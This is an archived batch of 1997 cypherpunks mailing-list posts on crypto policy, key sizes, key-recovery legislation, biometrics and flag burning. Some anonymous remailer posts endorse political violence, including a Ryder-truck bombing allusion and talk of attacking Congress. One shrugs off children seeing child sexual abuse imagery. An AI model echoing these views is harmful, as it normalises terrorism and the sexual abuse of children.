>>would 
>>give a fuck someone burnt their countries flag, certainly not in 
>>Australia.  What is it about your country?

>>My friend is a New Zealander.  When she was in school for a short 
>>while in America, she was beaten up for not reciting the "Pledge of 
>>Allegiance" in class everymorning.

>>Pete Nicol
>>Global Media Magnet
>>nicol@iap.net.au

====================================================================

 Although I agree that the U.S flag should not be burned (and yes I am 
also a veteran having served 8 years in the U.S Armed Forces), I can see 
other floks points in allowing the flag to be burned. I will never 
support it, yet since I served to keep the ability to choose a freedom 
that we enjoy, I do not oppose that sentiment. As to the Aussie that 
asked what the "fuck" we Americans give about whether or not our flag is 
burnt obviously does not understand how deep the grain of patriotism 
runs in American blood. It is something anomolous to riding a Harley. If 
we have to explain it to you, you wouldn't understand. In my mind it 
shows how little value the Aussies (or at least this particular one) 
place on their solidarity as a nation and belief in their own country.  
I place a HIGH value on my country and countrymen. (women too :-) )  
That is why I get so upset when I see the degradation that is eating 
this country alive. All the values that made this country as powerful 
and great as it is are slowly being rotted away by some sort of 
malignant cancer that I can not fathom. I understand that The Cleavers 
are a concept that can never truly be lived up to, yet even if we came 
as close as Family Ties, I'd be happy! Some folks say that this is a 
symptom of too much freedom. I am inclined to agree to a certain extent, 
we Americans seem to have lost the ability to control ourselves and 
severely overindulge our whims sometimes. Yet, that is something that we 
have fought long and hard for, losing many a brother, father, sister, 
mother, uncle, aunt, and so on. Let me ask you this? Why are there so 
many individuals from other countries killing themselves to come live 
here, like the Cambodians, Vietnamese, Russians, and such? I'll tell you 
why. Because this country has potential, and strength. What strentgh? 
The strength of it's countrymen. The strength of ideals that are worth 
living and fighting for. Privacy is one of those ideals. That is why 
this channel exists! To unite us together, to try to stop the loss of 
one of the central themes to America. The ability to be private. To 
maintain a sense of individualism not found in many, many parts of the 
world. We stand together for the right to be human! For the right to be 
individuals, not clones! I for one, shall never be a clone. Neither 
government nor fellow human shall force me to bend my knee in deference, 
when that deference has not been earned. The government is trying to do 
that right now. That is why they are trying to take our privacy, if the 
know all that goes on, then control is easier. Whether through fear or 
through willingness, they do not care. They only want control. And we 
can not, should not, and many will not allow that to happen! I have seen 
what happens in countries where total control over their people has been 
achieved. The results are not pretty.  Listen, Look, Learn, Aussie! You 
just might understand!!

David Downey
Case@EarthCorp.com
digital_matrix@hotmail.com
http://www.earthcorp.com/case
I am a human first, an American 2nd, and free most of all!



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 25 Jun 1997 07:12:20 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.LNX.3.93.970625045314.117C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Jason William RENNIE wrote:

My first suggestion is to get hold of "Applied Cryptography" by Bruse
Schneier, my second suggestion is to find out if your uni runs causes in
infomation securaty (sounds something like that) and get into it via an
elective.

[...]

> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ??

A symtiric cryptosystem is one where the encrption key is the same as the
decryption key.  A nonsytric cryptosystem is one where the encryption key
is diffrent but realted to the decrytion key.

Non-symtric keys are normal weeker because there has to be that realtion
between the keys.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:19:29 +0800
To: cypherpunks@toad.com
Subject: One Ryder Truck--One Vote
Message-ID: <199706251253.FAA24434@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:
> Many of the exhortations to the
> public consist mostly of "Hey! Get involved! Vote!", even where this
> passive "voting" stuff created the very problems which led to the
> exhortations.

  Voting is the new Catch-22/Damned if you do, damned if you don't,
etc, etc. It's time for a new non-candidate that is a cross between
Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
("Steal This Book.").
  My inclination is for a candidate named "Fuck You!", but I'm sure
someone else can come up with a more creative candidate. 
(Q: "If elected, what will you do for me?" / A: "Fuck You!")

> Sure, let's write memes. But let's write memes that encourage people to
> solve their own problems and avoid the use of unnecessary force.

  Of course, in the real world even the use of the minimum force
necessary will probably result in damage to windows in buildings
adjoining the Congressional and Senate buildings.

Me Again
"Hard Weapons, Soft Targets, No Compromise."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:18:18 +0800
To: cypherpunks@toad.com
Subject: The value of free speech...
Message-ID: <199706251254.FAA24496@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



> "Philip A. Mongelluzzo" <phimon@ix.netcom.com> writes:
> 
> > How do we deal with child pornography and free speech in such a way
> > as to allow both to exist and insure our children are not exposed to
> > pornographic material until they are at a maturity level where they
> > can deal with it?
> 
> > A battle that must be won without killing the enemy to
> > insure continued free speech.  Quite a challenge I think.  Now, do
> > you have any idea how to do that?

  When I was twelve years old a man stepped out of the proverbial
dark alley in my small hometown and offered me twenty dollars to
give him a blow-job. I said no.
  In retrospect, if he had offered me a thousand dollars, I might
have recognized the value of free speech at a much earlier age
than I eventually did.

  Also, my parents used to let me go to out-of-town hockey games
with other kids and Father Flanigan, admonishing me, "Don't let
him stick his hand in your pants." I didn't.
  Today's world may seem more dangerous, with a greater chance
of children's contact with unknown entities/weirdos, but I find
it hard to believe that there is greater saftey to be had by
keeping children ignorant of information that goes beyond this
or that boundary of morality/integrity/world-view/lifestyle.
  If your children see a picture of a young child with a dick
in his or her mouth and don't see anything wrong with it, then
I don't think the problem is with the picture.

TruthMonger
TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 22:01:25 +0800
To: cypherpunks@toad.com
Subject: Top ATM maker signs deal with eye-scanning technology firm
Message-ID: <199706251336.GAA26072@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




http://www.techserver.com/newsroom/ntn/info/062497/info25_8064.html
      
   TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
   top maker of automated teller machines, plans to start offering
   machines that identify the user by scanning the eye.
   
   NCR said Tuesday it teamed with Sensar Inc. to offer a system that
   could eventually replace plastic cards and memorized numbers with a
   more secure system -- cameras that confirm the user's identity by the
   unique patterns in the iris, the colored ring in the eye.
   
   Besides improving security, executives at Dayton, Ohio-based NCR
   believe the system will make it more practical to use ATMs for selling
   airline tickets, insurance and investments.

...
   
   Under the deal, NCR will distribute and service the system for banks
   and other financial institutions around the world, except in Japan,
   where Sensar has a $42 million contract to develop the technology for
   ATMs.
   
   "We've still got a few kinks we're working out," said Kevin B.
   McQuade, vice president for strategic business development at
   Moorestown-based Sensar, adding that the company expects to begin mass
   production in a year.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Wed, 25 Jun 1997 19:30:28 +0800
To: cypherpunks@toad.com
Subject: Shell cancels all but $25 pre-paid cards
Message-ID: <Pine.GSO.3.95.970625065731.890A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
denominations which could be used to ~anonymously pay for gas at the pump.
Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.

Security problems?

Complaints from the Freehdom usurpers?

Inquiring minds want to know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 25 Jun 1997 20:19:39 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>
Message-ID: <199706251207.HAA22126@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>, on 06/24/97 
   at 08:56 PM, Mac Norton <mnorton@cavern.uark.edu> said:

>On Tue, 24 Jun 1997, Tim May wrote:

>> (By the way, I have no heard no good counters to my point that the "use of
>> crypto in furtherance of a crime" is quite analogous to "freedom of
>> religion shall not be abridged, but saying a heathen prayer in furtherance
>> of a crime shall subject the heathen to an additional five years of
>> imprisonment." This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)

>OK, Tim, I'll try:
>The use of communication in furtherance of a crime shall add five years .
>. .etc.

>The use of any device to enhance the speed of communication in
>furtherance of a crime shall . . . etc.

>The use of any device to disguise a voice in furtherance of  . . . etc.

>The use of any cryptographic means of communication in furtherance . . .

>Now, if two and three above are constitutional, why aren't one and four?

Well in my IMNSHO none of the above are constutional.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 25 Jun 1997 20:16:46 +0800
To: cypherpunks@toad.com
Subject: Crypto News
Message-ID: <1.5.4.32.19970625111759.006a839c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     25 June 1997:

     A Canadian company claims it has a unique product that can 
     spur acceptance of biometric encryption. 

     The Touchstone device, from Mytec Technologies Inc. of
     Toronto, includes a patented technology called Bioscrypt-a
     coded key or personal identification number that can be
     decoded only when the user's finger slides across a scanner. 

     Mytec says it adds a layer of security to the fingerprint
     scanning methods typical at other vendors. 

     "What we do is slide a finger across a scanner, which takes
     the information in the finger pattern and allows it to
     descramble the encrypted key," said George Tomko,
     chairman and co-founder of Mytec. 

     The finger itself becomes essentially an encryption key and
     can be used in place of a personal identification number at a
     keyboard, automated teller machine, telephone, or to scramble
     data over the Internet. 

     "With this kind of technology, everyone's finger is a potential
     encryption key," said Mr. Tomko. 

----------

     NetDox, Inc. today announced that the U.S. Department of
     Commerce has granted export approval for NetDox
     ePackage, a secure Internet document delivery service. 
     This makes NetDox the first U.S. company authorized to
     offer businesses a global digital delivery service protected by
     128-bit encryption over the Internet without providing clear
     text access to key recovery agents. 

----------

     The Federal Deposit Insurance Corp. decided Tuesday not to
     regulate stored-value cards. 

----------

     Two long reports on Netscape/Verisign's and Microsoft's approval 
     for 128-bit products export.

----------

Above reports in full:

     http://jya.com/cn062597.txt

----------

For those who've not seen it we offer the bill introduced on
June 19 by Representative Markey, "The "Communications 
Privacy and Consumer Empowerment Act":

     http://jya.com/hr1964.txt

It has a provision for data security and pre-emption of
government regulation of domestic encryption.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Wed, 25 Jun 1997 05:49:58 +0800
To: cypherpunks@toad.com
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241449.PAA00198@server.test.net>
Message-ID: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 24 Jun 1997, Adam Back wrote:

> (Bearing in mind the reader in most cases hasn't grasped the
> difference between public key crypto and symmetric key, and is
> comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> 1024/56 times harder.)

Well i guess i'll look stupid for asking but someone has to but what is 
the diffrence ?? I dont know either, i'm on this list to learn things 
like this. I'm still very new to all of this. I was aware that they 
weren't 1024/56 times harder though.

jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 23:01:14 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <199706251442.HAA02694@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




"David Downey" <digital_matrix@hotmail.com> wrote:

> Although I agree that the U.S flag should not be burned (and yes I am 
>also a veteran having served 8 years in the U.S Armed Forces), I can see 
>other floks points in allowing the flag to be burned. I will never 
>support it, yet since I served to keep the ability to choose a freedom 
>that we enjoy, I do not oppose that sentiment.

     "If we don't believe in freedom of expression 
      for people we despise, we don't believe in 
      it at all." - Noam Chomsky

     "We are willing enough to praise freedom when she 
      is safely tucked away in the past and cannot be 
      a nuisance. In the present, amidst dangers whose 
      outcome we cannot foresee, we get nervous about 
      her, and admit censorship." - E. M. Forster

     "I disapprove of what you say, but I will defend 
      to the death your right to say it." - Voltaire


The question that needs to be asked is, what does that flag represent that 
is being burned?  Does it represent the constitutional republic and respect 
for individual liberty that America was founded upon?  Or does it represent 
the socialist democracy and the arbitrary herd mentality view of "freedom" 
into which America has devolved?

If the latter, then pass me the gasoline and the matches.

An American






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 25 Jun 1997 04:22:28 +0800
To: eay@cryptsoft.com
Subject: Re: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
Message-ID: <86718300701373@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



Death rays from Mars made Adam Back <aba@dcs.ex.ac.uk> write:
 
>Bill Stewart <stewarts@ix.netcom.com> writes:
>>(Though actually SSLeay has been very useful to a lot of the
>>world's free cryptography, and has prompted the US spooks
>>to pressure the Australian spooks into restricting crypto exports,
>>just as they've pressured the NZs into restricting them for
>>Peter Gutman, and have been trying to work on the Irish...)
 
>Could you elaborate on these.  I caught Peter Gutmann's comments on the 
>hassles a company he did some work for were having with the NZ spooks.  (The 
>spooks intercepted their mailed disk, plus some other cloak and dagger 
>spookish stuff).  
 
Nothing was intercepted.  They (the GCSB, NZ subsidiary of the NSA) came up 
with some phony story about NZ customs intercepting a shipment of 
military-grade encryption (or something similar) which they fed to the 
Australian spooks (DSD).  NZ Customs knew nothing of this, and the DSD were 
apparently also considerably surprised by it.  As far as I can tell it was a 
very amateurish attempt to intimidate one of the companies involved 
(frighteningly amateurish in fact - a single phonecall was enough to confirm 
that they'd invented the whole incident themselves, the only real effect it 
had was to get them a front-page story in the National Business Review and 
(presumably) piss off the DSD for sending them on a wild goose chase and 
risking media exposure).
 
>Is this still going on, was it ever resolved?  Can the next version of 
>cryptlib be exported legally?  Or are we relying on Peters bravery?
 
It can be legally exported.  Although the people pulling the strings are the 
GCSB, the group enforcing it is the Ministry of Foreign Affairs and Trade 
(MFAT)'s export control group, who are idiots (I can elaborate on this in 
great detail at some point, preferably over a beer).  I have several written 
statements from them that I can freely export it electronically (along with 
all sorts of bogosities such as a letter signed by the minister in which the 
first sentence of the second paragraph says exactly the opposite of the last 
sentence in the paragraph, and other, similar gems).  At one point I was 
firing off one letter after another to them just to see how silly they would 
get, but it got boring after awhile.  I'll put these letters online at some 
point for people to have a laugh at.
 
I should also clarify a point about the online writeup of my experiences, 
which imply that the NSA was active in directing the GCSB over export 
controls.  I'd had some feedback from a high-level US spook source that this 
wasn't quite the case, but the source has some rather unusual opinions on 
spooks and their activities (something along the lines of "Civilization would 
collapse tomorrow if it wasn't for the fine efforts of the CIA and NSA") which 
made me somewhat suspicious about the accuracy of the information.  Anyway, 
what this source said (and this bit I can believe) was that NZ was completely 
out of its depth with this (which was obvious from the way it was handled) and 
was terrified of offending the US.  According to the source, the NSA was 
exerting a *moderating* influence on the whole thing, and that any progress 
made was because the NSA told the GCSB to back off.  This would indicate an 
interesting case of the NSA exerting very strong indirect influence on 
determining crypto policy.  The GCSB knew the NSA didn't want crypto being 
distributed, and when they heard of the export they went into overdrive to 
show the NSA what good boys they could be and how keen they were to help the 
US by enforcing US policy for NZ crypto.
 
This interpretation is believable, NZ is very much a junior member of the 
UKUSA alliance and really doesn't want to do anything which might offend the 
other partners.  They knew the US didn't want crypto being made available, so 
they went out of their way to try to show the NSA that they could be trusted 
to do their bit in restricting crypto (I'm certain that something as 
amateurish as the NZ Customs story didn't come from the NSA, even the DSD 
seemed unaware of it).
                          
This means that it doesn't actually require any direct intervention from the 
USG to control crypto policy, the mere knowledge that the NSA doesn't like 
something is enough to make the local spooks (who, in NZ's case, rely on the 
NSA for much of their hardware and training) do whatever they think will keep
the NSA happy.  It's perfect for the NSA I guess, because they get complete 
deniability (Just yell "Will noone rid me of this troublesome crypto" and sit 
back and wait).

Peter.

BTW, what's happened to taz.nceye.net?  The cypherpunks mail->news doesn't 
seem to have been updated for more than a week.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 14:52:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes II
Message-ID: <199706250645.IAA16548@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>I can assure you
>that in moving from a 1024 bit key to a 4096 bit key, the attackers
>job is well in excess of 50x harder.  Greatly in excess of a trillion
>trillion times harder.

First part true, second part false.  See Schneier, p.160.  Extrapolating
using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
possible it is much worse, ratio less than one million.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:24:14 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706251259.IAA19793@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> And, as many of us have noted, what is there to compromise about? If one
> has religious freedom, for example, and a series of laws are proposed or
> passed to limit this religious freedom in some way, what kind of compromise
> is even remotely acceptable?

  I would wager that the number of drug dealers who own Bibles is much
greater than the number who own strong crypto. Why is there no proposed
legislation regarding use of the Bible in commission of a crime?
 
> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

  Ebonics has to be a natural candidate for pleading this to the
Supremes. Ebonics means that a black arrested by a white undercover
officer would get an extra five years over the sentence of a black
arrested by a 'brother'.
  How about five years for calling a drug "Mary Jane" when writing
it down, four years for "marijuana", three and a half years for
"marihuana" and six months for "Cannibus Sativa." Calling it
simply "Killer shit, man!" would be acceptable.

  Double jeapordy is a fact of life these days with the plethora of
"commission of a crime during the commission of a crime" laws and
the "conspiracy to commit the crime which was committed" laws, as
well, I presume, as coming "intention to conspire to commit what
later became a crime" laws.
  Expansion of concepts beyond their originally intended boundaries
works both ways, however, as when the citizen finally decides to
regard "Do you support the overthrow of the government by (1)force
or (2)violence?" as a multiple-choice question.
  {As a matter of fact, that would make a damn fine "poll" to put
before the American people.}

The North Poll
> The First Amendment is all we need to speak in the language of our
> choosing, including the languages of whispers, Talegu, Navajo, pig latin,
> coded signals, and 4000-bit RSA.
> 
> We don't need any "reaffirmations" of this basic right, at least not from
> Congress.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:38:25 +0800
To: cypherpunks@toad.com
Subject: Re: Internet knuckle-dragging from the New York Times
Message-ID: <199706251312.JAA24535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
>  It was the New York Times, which had front-paged a scaremongering
> above-the-fold article by Christopher Wren:
>   http://www.nytimes.com/library/cyber/week/062097drug.html
> 
> Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...
> 
>  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.

  "And when somebody's mother gets machine-gunned in the street, we'll
send some joker with a Brownie (camera) so you'll see it all complete."
   - Frank Zappa, "I Am the Slime" (That crawls out of your TV set)

  A person unfamiliar with technology might have trouble knowing if
they have hit the correct button to switch from the "snuff-flick"
video they were watching to the news channel.
  Take pity on the Times and the Globe. After all, they have to
compete with headlines such as "I Cut Out My Baby's Heart and
Stomped On It!" (National Enquirer) for the public's hard-earned
dollars.
  As far as Bray's view that journalists know the RIGHT idea of how
things should be viewed, I would be the last one to suggest that
he is a FUCKING FASCIST JOURNA-PROPA-GANDIST who attributes RIGHT
ways of viewing an issue as a divine right of journalists.

  Most journalists are similar to lawyers, it may be their job to
take one stance/view today and another one tomorrow. If Timothy
McVeigh's actions had resulted in sweeping government changes
which led to the halting of all government abuses, then we might be
seeing stories reflecting McVeigh's regrets about the children
present. {cut to picture of Timothy playing with neighbor's
child}
  Journalists have to maintain a facade of self-importance in
order to be able to live with the fact that the eloquent expose
they have worked on for a month might get thrown in the crapper
if Elvis is spotted on the internet shortly before press time.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 25 Jun 1997 21:57:57 +0800
To: cypherpunks@cyberpass.net
Subject: NYT article on Kerrey bill (LONG)
Message-ID: <199706251343.JAA24112@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Encryption Bill Would Restrain
Next Generation of the Internet

By PETER WAYNER

The users of the next generation of the Internet will be forced to 
turn over the keys to their
encrypted computer data to government authorities if a bill currently
before the Senate passes. 

Senator Bob Kerrey, the Nebraska Democrat who cosponsored the
measure, said in an interview Monday that the bill would require that
the authorities be able to recover such keys in the next generation
network, called Internet 2, an advanced, high-speed research project
that is being carried out in more than 100 universities across the
country. 

The bill does not mention Internet 2 specifically but simply refers to
data traveling on all networks created "with the use of Federal funds
for transaction of government business." Users of the current Internet would 
have the freedom to
choose whether to notify the authorities of the keys. 

Key recovery is a controversial proposal aimed at giving fast 
access to encrypted data to the
branches of the government responsible for law enforcement and national 
defense. These branches
worry that widely deployed, easy-to-use encryption technology will make it 
simple for criminals
and terrorists to cloak their communications and make it impossible for the 
police to use
surveillance to gather evidence. 

Others, including computer scientists, civil libertarians
and even some law enforcement officials, worry that
such a proposal would concentrate too much power in
the key recovery centers and that this makes the nation
vulnerable to both attack by terrorists and abuse by
those entrusted with the power. 

A government-approved key-recovery system, as
imagined by the bill, would be created by an organization
that would store the keys to unlock the data encrypted
by members of the organization. It could be either a
corporation, a university or a group of private citizens. 

The key recovery official for the organization, known as the "agent," 
would be responsible for
decrypting the data and providing a "plaintext" version to the police in 
response to a subpoena, a
court order, a warrant or a letter from an attorney general. The bill would 
remove the civil and
criminal liability from the agents for responding to such queries but would 
impose penalties of up to
$100,000 on those who fail to comply. 

The bill, called the Kerrey/McCain act after its sponsors, Kerrey and
John McCain, the Arizona Republican who is chairman of the
Commerce Committee, is officially known as the Secure Public
Networks Act. It would require all new federally financed networks
or computer systems to use government-approved key-recovery
technology. 

The Internet 2 is a cooperative effort involving 109 universities to
build a demonstration version of a very-high-speed Internet in order
to aid scientific research and to push the state of network technology.
Its current embodiment is financed by a mixture of grants from the
National Science Foundation and President Clinton's Next
Generation Internet initiative. 

The greatest problem facing the users of Internet 2 and other future
federally financed networks will be defining where the government
control begins and where it ends. In the interview, Kerrey admitted
that this was a challenging problem and said that the government
must be flexible in determining the answer. His legislation would
create an Information Security Board that would ultimately be
responsible for tuning the application of the law. 

"The law is written so we can get regular look-backs and decide
what's not working," he said. "We know the current law isn't right.
So let's change the law and get some good flexibility." 

The current law controls only the export of encryption technology.
People in the United States have been free to use encryption to
protect their secrets since before the days of the American
Revolution. Thomas Jefferson, for instance, dabbled in cryptography
and even personally specified the encryption system to be used by
Lewis and Clark in their expedition. 

For this reason, Senator Kerrey expects that people will challenge
the constitutionality of his bill, but he says that his office is working
hard to ensure that they get the bill right the first time. 

The law could run afoul of the First Amendment to the Constitution,
which prohibits the "abridging of the freedom of speech." Requiring
people to speak in a form that is understandable by the government
in order to participate in government-financed network might be
considered an abridgment. 

Donald Haines, legislative counsel of the American Civil Liberties Union 
said, "It's like asking:
'Can you make it illegal to commit a crime in French?' " 

A more likely challenge may come from the Second, Fourth and Fifth 
Amendments. The United
States government has treated encryption technology as munitions in order to 
control its export.
The Second Amendment, however, guarantees the right to "keep and bear arms." 

The Fourth Amendment guarantees "the right of the people to be secure in 
their persons, houses,
papers and effects, against unreasonable searches and seizures." It is not 
clear how a court would
view the requirement that a citizen disclose his or her encryption key to a
key-recovery agent in
order to participate in the next generation of the Internet. 

On one hand, the agent would act as an intermediary who would only disclose 
the data to the
government in response to a valid request. On the other, the requirement for 
disclosure before any
warrant is issued might be seen as a violation of the Fifth Amendment, which 
prohibits the
possibility that someone "be compelled in any criminal case to be a witness 
against himself." 

More obscure challenges may emerge from the Ninth and Tenth Amendments. The 
Tenth
Amendment reserves "powers not delegated to the United States by the 
Constitution" to either the
individual states or the people. 

Representative Bob Goodlatte, a Virginia Republican
and a sponsor of competing legislation in the House,
asserts that Kerrey's bill is unconstitutional and that it
amounts to a "dramatic erosion of the people's rights" to
allow access to someone's data without the oversight of
a court. He points out that Kerrey bill would allow
foreign governments to request access to anyone's files
in the United States through the office of the Attorney
General. 

To a large extent, the constitutional question may depend upon just how 
voluntary the
key-recovery process turns out to be. The current draft of the bill contains 
language that explicitly
guarantees that participation in the program is voluntary, but it then 
enumerates all the conditions
under which federal financing will make it mandatory. 

The first to feel the requirements will be universities and colleges, because 
they rely heavily on
government financing. Kerrey said he remained willing to consider any 
language that would help
give the universities the flexibility they need to continue to do research 
effectively, but added that
he remained committed to pushing key-recovery technology. 

Some members of the university community expressed doubt that any compromise 
would be
possible. Gregory A. Jackson, the associate provost of the University of 
Chicago and a member of
the Internet 2 steering committee, said that the record-keeping burden would 
be onerous and that
the gains would be to slim when measured against the cost. 

"I can understand the FBI's point," Jackson said. "There are times when we 
want access to some
communications on campus and we can't get it." 

In his work at the University of Chicago and in his previous job at the 
Massachusetts Institute of
Technology, Jackson said, he was often called on to deal with disciplinary 
problems involving
misuse of the campus networks. "We had to use different leverage over people 
on campus," he
said. "Ultimately, the FBI is probably going to reach the same conclusion." 

Besides, Jackson said, it is virtually impossible even to define what 
encryption is. While the law
requires that the key-recovery agents deliver "plaintext," it is impossible 
to control how people
speak or what data they exchange. 

He went on to predict that the Internet 2 project would find a way to migrate 
into a completely
private entity if it became necessary to avoid government regulation. 

"Even the most optimistic estimates of what the federal contribution will be 
are still a small fraction
of the costs of Internet 2," he said. "It's serious money, and its important 
for making it go forward
quickly, but it's not the lion's share." 

George Cybenko, a professor at Dartmouth, said that his use of the Internet 2 
could drop to simple
e-mail and Web browsing because of the overhead imposed by keeping track of 
the keys. 

"If someone shows up and says, 'This packet came out of your office at 4 p.m. 
What does it mean?'
it will be a nightmare," Cybenko said. 

Many of the new uses of the Internet involve packing new and different forms 
of communication into
complicated data structures. Determining the difference between data that are 
encrypted and data
that are merely unconventional is difficult and could lead to problems. 

Some Internet correspondents have predicted that the FBI will be able to find 
a Senator to add an
amendment to Kerrey's bill to make key recovery mandatory for all Americans. 
Kerrey himself
suggested that this amendment may be offered by the Judiciary committee or on 
the floor of the
Senate in coming weeks. 

On Wednesday, the Senate Judiciary committee will begin holding meetings to 
investigate the
technology. Some expect that the committee chairman, Senator Orrin Hatch, 
Republican of Utah,
will offer his own version of the legislation. 

In the House, however, a different story continues to unfold. Goodlatte has
sponsored his SAFE
legislation (Security and Freedom through Encryption) that would relax export 
controls and not
require key-recovery provisions for anyone. His bill would deal with the 
problem of criminals hiding
their actions by extending the sentences of anyone who uses encryption in 
furtherance of a felony. 

His legislation has enjoyed wide, bipartisan support. Cosponsors range from 
conservative
Republicans like Tom DeLay of Texas, to liberal Democrats like Maxine Waters 
of California. 

In the last two days, six more members of the House have signed on as 
co-sponsors, bringing the total to 131. 

Copyright 1997 The New York Times Company 

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Wed, 25 Jun 1997 23:32:18 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A31B9C.F76DCB2A@netscape.com>
